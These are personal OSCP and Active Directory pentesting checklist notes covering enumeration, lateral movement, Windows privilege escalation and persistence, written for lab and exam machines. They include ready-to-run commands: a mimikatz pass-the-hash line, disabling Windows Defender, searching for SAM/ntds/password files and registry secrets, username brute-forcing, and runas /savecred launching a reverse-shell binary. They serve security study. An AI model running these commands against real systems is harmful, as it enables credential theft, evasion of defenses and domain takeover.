[HUGE AD mindmap]
[OSCP mindmap]

Start

- Run all your evil-winrm inside of ~/Downloads so that you can use the upload feature easier to move files from Downloads to evil-winrm!
- Look at the Important Section
    - For both cheatsheets
- Remember to always look at **Niche Attack Vector** and **Random** Section
- Look at file:///C:/Users/Micha/Downloads/Windows%20Privilege%20Escalation-1.pdf
    - This is the Tib3rius PDF for Windows Priv Escc
    - Also in OSCP folder
- Check password policy using the breached credentials and see password lockout

---

Port Scanning

- **Nmap**
- do normal nmap scan and then after your done, while ur already enumerating, run a full port scan and also a UDP scan, so that they run the in the background and can be hugely impactful
    - Add this to Linux checklist too

Notes

Port Forwarding

- Look at the Pen Testing notes

Files

- **How to upload files to target machine on windows**
- **How to transfer files from Windows to Kali using impacket-smb**
- **Using impacket-smbserver to exfiltrate data**
- **How to find a file (in C Drive)**

Cracking Hashes

- Look at Pen Testing Notes
    - John The Ripper
    - HashCat and Hashid
    - John the Ripper vs. Hashcat
    - Hashing
- **John The Ripper**
- **HashCat and Hashid**

Misc

- **How to view who has permissions in a directory (directory permissions)**
- Bypass powershell script execution policy
- How to switch from CMD to Powershell (and vice versa)
- How to extract/format data (from tabular output) using awk

Reverse/Web Shells:

- Note: some php reverse shells like the pentesting monkey one are specifically built for linux. From my experience, it's best to just upload web shell for windows targets and then get reverse shell connection from the webshell
- Look at the Pen Testing Notes
- **Webshell (or command injection)**
- **Reverse shell**
- **powercat.ps1 as an alternative to nc.exe for reverse shell connection**

Remote Login

- If nxc says that something like rdp or winrm DOESN'T work, it might not be true. This is because it only tries domain accounts by default. Also try to login via local user. So to specify that when you login, use the " --local-auth" flag
- And also, for nxc, if it doesn't say Pwn3d! for RDP or WinRM, then you can't login. It means the user exists on account, but you can't login via RDP/WinRM
- **SMB and psexec.py**
- **psexec**
    - Remember, for impacket-psexec, you have to specify the domain for domain users
        - impacket-psexec 'relia/michael':'pass'@172.16.118.21
    - And remember It's a FORWARD slash, not a BACK slash. This was very confusing for me, since most commands are backslash for domain usernames, like SMB
- **RDP (Remote Desktop Protocol)**
    - Make sure to right click on powershell and open as admin if you are admin!
- **Winrm and winrs**
- **Winrm and Evil-winrm**
- **runas**
- **nxc**
    - Always try --local-auth when trying Administrator login since it's likely local admin and not domain admin
    - Always try --local-auth especially if there is no password attempt limit

---

Service Enumeration

Look at the Service Enumeration section of the Linux Pentesting Checklist

---

AD Misc

Commands:

- **AD Essential Commands (ex. How to create user)**

Notes:

- **Miscellaneous notes**
- **Subnet notes**
- **Windows notes**
- **Active Directory Notes**

AD Enumeration

- ☐ **Check password policy for brute force**
- ☐ **Find all domain usernames**
  - **nxc smb** 10.10.11.35 -u 'guest' -p '' --rid-brute | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/'
    - You need some form of authentication (ex. Guest works)
  - **impacket-lookupsid** 'cicada.htb/guest'@10.10.11.35 -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt
    - You need some form of authentication (ex. Guest works)
  - **nxc ldap** 192.168.229.122 -u '' -p '' **--query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}'**
    - You need some form of authentication. You can try guest or you can try no authentication (empty username nad password)
  - **./kerbrute** userenum -d {domain} --dc {ip} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100

- ☐ Try empty username and password for SMB/LDAP
- ☐ Scrap usernames from websites, and then try AS-REP roasting against those users by not proving username, to specify that you want to AS-REP roast against them instead of using them as authentication

    - Shown in **Sauna HTB**
- ☐ **Powerview.ps1**
- ☐ Manual user/group enumeration
    - ☐ **Finding out information about yourself**
    - ☐ **Finding out information about users**
    - ☐ **Finding out information about groups**
    - ☐ **Local/Global Group Memberships**
- ☐ **Import-Module ActiveDirectory**
    - From Powall's Notes, and it's like powerview.ps1

- ☐ **How to tell if you are in a DC (Domain Controller)**
- ☐ **How to tell if you are in an AD environment**
- ☐ **How to find the hostname and domain name**

- ☐ **Password Attacks/Spray (Bruteforce) to get into AD accounts**

- ☐ **General Enumeration**
- ☐ **File Enumeration (ex. For passwords)**
- ☐ **OS/System Enumeration**
- ☐ **Network Enumeration**
- ☐ **Installed Program Enumeration**
- ☐ Powershell log
    - ☐ **Powershell Log Enumeration**
    - ☐ **PSReadLine**

- ☐ Check versions like xampp version

AD Lateral Movement

- ☐ **Overpass the Hash (have NTLM but don't have plaintext password)**

- ☐ .\mimikatz.exe "privilege::debug" "log" "sekurlsa::pth /user:User1 /domain:corp.local /ntlm:8846f7eaee8fb117ad06bdd830b7586c"
  - **Requires admin or SeDebugPrivilege**
  - If you have User1's NTLM hash, you can use mimikatz to create a TGT and mimikatz injects it into current session so now you can kerberos authenticate as User1 without knowing their password
- ☐ klist
  - Checks to see what your current injected tickets are
- ☐ net use \\<target>\share
  - Should be able to access SMB shares that User1 has access to
- ☐ **Generate ticket for DC - ex. net use \\dc02**
- ☐ **psexec \\dc02 cmd**

☐ **Pass the Ticket**

☐ **DCOM**

☐ Password Spray with nxc

☐ Remote Login

- SMB and psexec.py
- psexec
- RDP (Remote Desktop Protocol)
- Winrm and winrs
- Winrm and Evil-winrm
- Runas

☐ PS Remote

- New-PSSession -ComputerName thmserver1.za.tryhackme.loc
  - So this command creates a session object that connects your machine to the remote system thmserver1.za.tryhackme.loc, but it doesn't actually drop you into that session yet.
  - New-PSSession
    - Creates a new persistent remote session to another computer. Think of it like opening an SSH session but using PowerShell remoting (WinRM).
  - -ComputerName
    - Specifies the target computer you want to connect to.
  - thmserver1.za.tryhackme.loc
    - This is the hostname (FQDN) of the remote machine.
    - thmserver1 = the server name
    - .za = domain/region (here mimicking South Africa)
    - .tryhackme.loc = the local Active Directory / DNS domain
- Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc

        - So this command logs you into the remote system interactively, similar to how ssh user@hostname would on Linux.
        - Enter-PSSession
            - Actually starts an interactive remote shell with the target system. Once executed, your PowerShell prompt will change, and any commands you type will run on the remote computer, not locally.
    - **Key Difference Between Them**
        - **New-PSSession**: Creates a reusable session object that you can store in a variable and run commands against multiple times.
            - Example:
                - $sess = New-PSSession -ComputerName thmserver1.za.tryhackme.loc
                - Invoke-Command -Session $sess -ScriptBlock { hostname }
        - **Enter-PSSession**: Directly enters an interactive session, so all your commands run remotely until you exit with Exit-PSSession.

☐ Service Accounts PrincipalsAllowedToRetrieveManagedPassword
- Use Powerview.ps1 to enumerate
    - Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
    - If you find service accounts with this enabled, you can get gMSA password for it and then use rubeus to get a TGT
- Retrieve gMSA password
    - Test-ADServiceAccount **sql_svc**
        - Replace sql_svc with the one you found
- Use the password and create TGT (e.g., with Rubeus):
    - Rubeus asktgt /user:sql_svc$ /password:<gMSA_password> /domain:corp.local

☐ Token Impersonation
- ☐ Steps:
    - ☐ In meterpreter, load incognito
        - ☐ Loads the Incognito module inside a Meterpreter session.
    - ☐ list_tokens -u
        - ☐ see which tokens exist.
    - ☐ impersonate_token "DOMAIN\AdminUser"
        - Or any specific user
    - ☐ getuid
        - This gets the user id
        - Confirm you are the new user

Privilege Escalation

- [ ] If it's AD, then run:
  - enum-AD -i <DC-IP> -u <domain user> -p|-H <password|hash>
- [ ] **Check password policy for brute force**
  - nxc smb <DC_IP> -u <user> -p <pass> --pass-pol
- [ ] **Turn off Windows Defender (admin necessary)**
  - [ ] Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true
  - [ ] And then check to make sure all the values are set to "true"
    - [ ] Get-MpPreference | Select-Object DisableIntrusionPreventionSystem, DisableIOAVProtection, DisableRealtimeMonitoring

Windows Privilege Escalation

- [ ] $env:PROCESSOR_ARCHITECTURE or systeminfo
  - Check if it's 64 (AMD64) or 32 bit (x86) system so you know which exploits to use
- [ ] whoami /all
  - Check if you are admin or domain admin
  - Look at privileges
  - **Look at non-standard groups:**
    - LAPS_Readers
    - GPO_Admins
    - Group Policy Creator
    - Server Operators
    - DnsAdmins
    - Account Operators
- [ ] Powershell log
  - (Get-PSReadlineOption).HistorySavePath
  - cd C:\Users**<USER>**\appdata\roaming\microsoft\windows\PowerShell\PSReadLine
    - Make sure to actually go to the directory
  - [ ] **Powershell Log Enumeration**
  - [ ] **PSReadLine**

- [ ] **winPEAS**
    - Vulnerable services
    - Registry
    - DLL hijacking
    - Unquote service paths
- [ ] Maybe quickly enumerate other services like SMB with your creds for low hanging fruit
- [ ] Try going to C:\users\Administrator
- [ ] look around directories for interesting files or directories
    - cd C:\users
    - tree /f /a .
    - Get-ChildItem -Path **C:\Users** -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
- [ ] If there is a web directory, see if you have write access to C:\xampp\htdocs since that might be where web root directory is as seen in Craft PG Practice
- [ ] Look in C:\xampp
    - [ ] C:\xampp\properties.ini (check for vulnerable xampp version)
    - [ ] C:\xampp\mysql\bin\my.ini
    - [ ] C:\xampp\password.txt
- [ ] Always look for .git **directories** first (run it from C:\)
    - [ ] Get-ChildItem -Path . -Recurse -Directory -Force -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq '.git' }
- [ ] Run this to find important **files** (run it from C:\) (powershell case **insensitive** by default)
    - [ ] Get-ChildItem -Path . -Include *.kdbx,*.zip,SAM,SYSTEM,SECURITY,ntds.*,*backup* -File -Recurse -ErrorAction SilentlyContinue
    - [ ] This starts recursing from the current directory!
    - [ ] It's actually recommended to do -Path .* instead of just -Path . for when you use the -Include flag and want to start from current directory so try that instead
    - [ ] Here is the one without backup:
        - [ ] Get-ChildItem -Path . -Include *.kdbx,*.zip,SAM,SYSTEM,SECURITY,ntds.* -File -Recurse -ErrorAction SilentlyContinue
- [ ] Search recursively through current directory for "password"
    - [ ] findstr /si password *.xml *.ini *.txt
        - Searches recursively through all .xml, .ini, and .txt files starting from the current directory, looking for any line that contains the word “password” (in any case).
    - [ ] findstr /SIM /C:"pass" *.ini *.cfg *.xml

- Used in Mice PG Practice to find creds

- [ ] Do the find command for password.txt and passwords.txt on all of c:\
  - Get-ChildItem -Path C:\ -Include password.txt,passwords.txt -File -Recurse -ErrorAction SilentlyContinue
- [ ] ls -Force
  - [ ] Look for hidden files everywhere
  - [ ] Especially for C:\ and C:\Users and inside of the user directories
- [ ] Look at C:\Users to see what users are there and add to username list
- [ ] Look at C:\Program Files and C:\Program Files(x86) and find non-standard directories or files

- [ ] Look for vulnerable services using **Powerup.ps1**
  - powershell -ep bypass
  - . .\PowerUp.ps1
  - Get-ModifiableServiceFile
    - This function displays services the current user can modify, such as the service binary or configuration files.
- [ ] **Registry**
  - [ ] weak Registry Permissions (look at winPEAS)
  - [ ] **Autorun**
  - [ ] **AlwaysInstallElevated**
  - [ ] **Credentials in plaintext**
- [ ] PuTTY and SSH keys in Registry
  - PuTTY
    - reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
    - reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername"
    - reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  - SSH
    - reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
    - reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

- [ ] **Unquoted service paths**
  - powershell -ep bypass
  - . .\PowerUp.ps1
  - **Get-UnquotedService**

- For vulnerable services, go through all directories to see which ones you can put

- [ ] Scheduled tasks
  - [ ] **Scheduled Tasks**
  - [ ] List non-windows scheduled tasks
    - [ ] powershell -c "Get-ScheduledTask | where {$_.TaskPath -notlike '\Microsoft*'} | ft TaskName,TaskPath,State"
  - [ ] Get more info about task
    - [ ] powershell -c "Get-ScheduledTaskInfo -TaskName 'name'"

- [ ] Saved credentials
  - [ ] cmdkey /list
    - cmdkey is a built-in Windows utility for managing saved credentials in the **Windows Credential Manager.**
  - [ ] savecred.bat
    - Script to refresh the saved creds (more info in notes)
  - [ ] runas /savecred /user:Administrator "c:\windows\temp\reverse.exe"
    - If you run "cmdkey /list" and see a cached creds like:
      - Target: LegacyGeneric:target=TERMSRV/127.0.0.1
      - User: Administrator
    - Then you can try running "runas" with /savecred to reuse creds
  - [ ] Search registry for keys and values that contain “password”
    - reg query HKLM /f password /t REG_SZ /s
    - reg query HKCU /f password /t REG_SZ /s

- [ ] dir env:
- [ ] systeminfo
  - [ ] systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"

- [ ] Look for interesting installed applications
  - Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname
    - Used for **64-bit** application
  - Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall*" | select displayname

- Used for **32-bit** application

- [ ] Paperstream IP
  - Look for this application name. From Powall checklist

- [ ] Listening Ports and Network (subnets)
  - netstat -ano
  - ipconfig /all
  - route print
  - [ ] Look at pentesting notes
  - [ ] **Network Enumeration**

- [ ] Look at "C:\Program File" for anything sus
- [ ] Look for backups
- [ ] Look for config files

- [ ] Look in C:\Users**<username>**\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState or other directories within the MicrosoftStickyNotes directory. Since in the Robust PG Practice, the only way to get administrator was looking at this directory for credentials

- [ ] **Windows version and security patches**
- [ ]

```
PS C:\Users\steve> systeminfo

Host Name:                 CLIENTWK220
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
...
PS C:\Users\steve> Get-CimInstance -Class win32_quickfixengineering | Where-Object {
$_.Description -eq "Security Update" }

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
              Security Update  KB5025239                          5/4/2023 12:00:00 AM
              Security Update  KB5025749                          5/4/2023 12:00:00 AM
              Security Update  KB5017233                          9/25/2022 12:00:00 AM
```

Listing 80 - Enumerating the Windows version and security patches

  - [ ] Seen in OSCP 17.3.2. Using Exploits
- [ ] **Windows Kernel Exploit**
  - [ ] https://github.com/SecWiki/windows-kernel-exploits
  - [ ] Windows Exploit Suggest (wesng)
    - [ ] systeminfo
      - Save this to a file on kali called "systeminfo.txt"

- [ ] python3 wes.py **systeminfo.txt** -i 'Elevation of Privilege' --exploits-only | more
    - Run this on Kali
- [ ] Watson (newer)
    - [ ] run the exe file
- [ ] Sherlock (older)
    - [ ] Set-ExecutionPolicy -ExecutionPolicy bypass -Scope CurrentUser
    - [ ] Import-Module -name C:\path\to\sherlock
    - [ ] Find-AllVulns

- **Most importantly for OSCP, always check for ports 5985 (winrm), 3306 (RDP) and 1433 (MSSQL) on the second machine, even if they don't show up if you run nmap -p-. Reverting the second box might help (which worked for me) but should be done when you're frustrated after 4 hours on the AD set.**

- [ ] **Insecure GUI Apps**
- [ ] **Startup apps**

- [ ] **Look at OSCP book**

- [ ] Finding information about users and groups
    - [ ] **Finding out information about yourself**
    - [ ] **Finding out information about users**
    - [ ] **Finding out information about groups**
    - [ ] **Local/Global Group Memberships**

- [ ] Check Powershell version
    - [ ] [Environment]::Is64BitProcess
        - [ ] returns True if the current PowerShell process is 64-bit, False if 32-bit.
    - [ ] Powershell on 64 bit: C:\Windows\sysnative\windowspowershell\v1.0
        - [ ] This is **not** a command; it's just descriptive text showing the path where 64-bit PowerShell is located when accessed from a 32-bit process.
    - [ ] echo %PROCESSOR_ARCHITECTURE%
        - [ ] Command Prompt (cmd.exe) command that prints the value of the %PROCESSOR_ARCHITECTURE% environment variable (e.g., AMD64 or x86).

AD Privilege Escalation

- [ ] enum-AD -i <DC-IP> -u <domain user> -p|-H <password|hash>
- [ ] Turn off Windows Defender (admin necessary)
    - [ ] Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true
    - [ ] And then check to make sure all the values are set to "true"
        - [ ] Get-MpPreference | Select-Object DisableIntrusionPreventionSystem, DisableIOAVProtection, DisableRealtimeMonitoring

- [ ] **Look at the Windows Privilege Escalation first**

- [ ] **Kerberoast**
- [ ] **AS-Rep roasting**
- [ ] **DC Sync**
    - If you have the privileges, which you can see from Bloodhound

- [ ] **LDAP**
    - [ ] LAPS
    - [ ] Looking at User Object Descriptions
    - [ ] No password users
- [ ] **Bloodhound**
    - [ ] Look at Powall and Lina's Checklist too
    - [ ] Outbound object control (ACL)
    - [ ] if write access on domain -> Resource Based Constrained Delegation
- [ ] AD Recycle Bin
    - Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
    - Get-ADObject -SearchBase "CN=Deleted Objects,DC=**Cascade**,DC=Local" -Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *
        - Replace "Cascade" with netbios domain name (not the full domain name)
    - [ ] **Local/Global Group Memberships**
        - [ ] **AD Recycle Bin**
- [ ] Abusing GPOs

- [ ] Look at Powall's Checklist
- [ ] **Bloodhound usage guide**
    - [ ] **Look at the Default Domain Policy Section**
- [ ] **How to exploit Default Domain Policy (if you have edit/write permissions) to add yourself as local admin**
- [ ] **Get-GPPermission (to exploit Default Domain Policy and add ourselves as local administrator using SharpGPOAbuse)**

- [ ] Kerberos Delegation
    - [ ] Look at Powall's Checklist too
    - [ ] **TGT Delegation**
    - [ ] **GenericWrite to DC resulting in Resource-Based Constrained Delegation (RBCD) attack**
    - [ ] **TGT Delegation and DCSync using SeImpersonatePrivilege to dump hashes of all users**
- [ ] Certificates
    - [ ] Run certipy find (vulnerable)
    - [ ] **Certificate Abuse (AD CS Abuse)**
    - [ ] **Bloodhound usage guide**
        - [ ] Includes that one really long attack chain with **ESC4** and **ESC1**

- [ ] Bruteforce creds
    - Check password policy
    - Use usernamer.py
    - Use different wordlists (ex. 500-worst-passwords.txt)
    - For nxc, use --local-auth and also --continue-on-success

- [ ] **Kerbrute**
- [ ] **Silver Ticket**
    - Turning NTLM into TGS

Stuff from Powall's checklist I don't know:

- [ ] Bypassing UAC
    - [ ] Look at Powall's Checklist

- [ ] Create Scheduled Task with credentials
    - [ ] Look at Powall's Checklist

- [ ] NoPac
    - [ ] Look at Powall's Checklist
- [ ] ZeroLogon
    - [ ] Look at Powall's Cheatsheet
- [ ] PrintNightmare
    - [ ] Look at Powall's Cheatsheet
- [ ] GPP Vulnerability
    - [ ] Microsoft GPP, used to modify windows/app settings that Group Policy can't
        - [ ] normally in sysvol
    - [ ] If account made with GPP, cpassword is encrypted password for account - AES key is weak (32 bits) and available online
    - [ ] look for Groups.xml with cpassword in it
    - [ ] metasploit module: scanner/smb/smb_enum_gpp

Automated Privilege Escalation

- [ ] **Winpeas**
- [ ] Enum4Linux (external enumeration tool)
- [ ] Powerup.ps1

AD Post-Exploitation

Basically, you are looking for more credentials

- [ ] Mimikatz
- [ ] Look through C:\ and C:\Users
- [ ] Look for backup SAM, ntds.dit, SECURITY, and SYSTEM
    - The original file's content are already revealed in mimikatz
- [ ] Run Bloodhound since you are now admin
- [ ] Look for config files
- [ ] Look at powershell log
- [ ] Kerberoast
- [ ] AS-REP
- [ ] DCSync
- [ ] Look at logs

- [ ] Look at any files in the Administrators directory or any user (or other) directory you couldn't see before

Persistance:

- [ ] **Golden Ticket**
    - Once you have Domain Admin, you can create your own TGT to get access into any Domain account
- [ ] **Shadow Copies**

ALWAYS LOOK AT THE **NICHE ATTACK VECTOR** AND **RANDOM SECTION**. AS WELL AS THE **IMPORTANT SECTION**

Out-of-scope

- Reverse Engineering and Buffer Overflow